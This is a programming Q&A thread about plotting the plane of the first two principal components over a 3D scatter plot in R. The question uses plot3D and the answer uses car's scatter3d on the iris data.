Plot a plane in R: PCA - r

Question

I'm working with a PCA problem where I have 3 variables and I reduce them to 2 by doing PCA. I've already plot all the points in 3D using scatter3D. My question is, how can I plot the plane determined by two vectors (the first two eigenvectors of the sampled covariance matrix) in R?
This is what I have so far
library(plot3D)
X <- matrix(c(55, 75, 110,
47, 69, 108,
42, 71, 110,
48, 74, 114,
47, 75, 114,
52, 73, 104,
49, 72, 106,
44, 67, 107,
52, 73, 108,
45, 73, 111,
50, 80, 117,
50, 71, 110,
48, 75, 114,
51, 73, 106,
44, 66, 102,
42, 71, 112,
50, 68, 107,
48, 70, 108,
51, 72, 108,
52, 73, 109,
49, 72, 112,
49, 73, 108,
46, 70, 105,
39, 66, 100,
50, 76, 108,
52, 71, 108,
56, 75, 108,
53, 70, 112,
53, 72, 110,
49, 74, 113,
51, 72, 109,
55, 74, 110,
56, 75, 110,
62, 79, 118,
58, 77, 115,
50, 71, 105,
52, 67, 104,
52, 73, 107,
56, 73, 106,
55, 78, 118,
53, 68, 103), ncol = 3,nrow = 41,byrow = TRUE)
S <- cov(X)
Gamma <- eigen(S)$vectors
scatter3D(X[,1], X[,2], X[,3], pch = 18, bty = "u", colkey = FALSE,
main ="bty= 'u'", col.panel ="gray", expand =0.4,
col.grid = "white",ticktype = "detailed",
phi = 25,theta = 45)
pc <- scale(X,center=TRUE,scale=FALSE) %*% Gamma[,c(1,2)]
Now I would like to plot the plane using scatter3D

Answer 1

Perhaps this will do. Using the iris data. It uses scatter3d in package car which can add a regression surface to a 3d plot:
library(car)
data(iris)
iris.pr <- prcomp(iris[, 1:3], scale.=TRUE)
# Draw 3d plot with surface and color points by species
scatter3d(PC3~PC1+PC2, iris.pr$x, point.col=c(rep(2, 50), rep(3, 50), rep(4, 50)))
This plots a regression surface predicting PC3 from PC1 and PC2. By definition the correlation between any two principal components is zero so the surface should be PC3=0 for any values of PC1 and PC2, but I don't see a way to produce exactly that surface. It is pretty close though.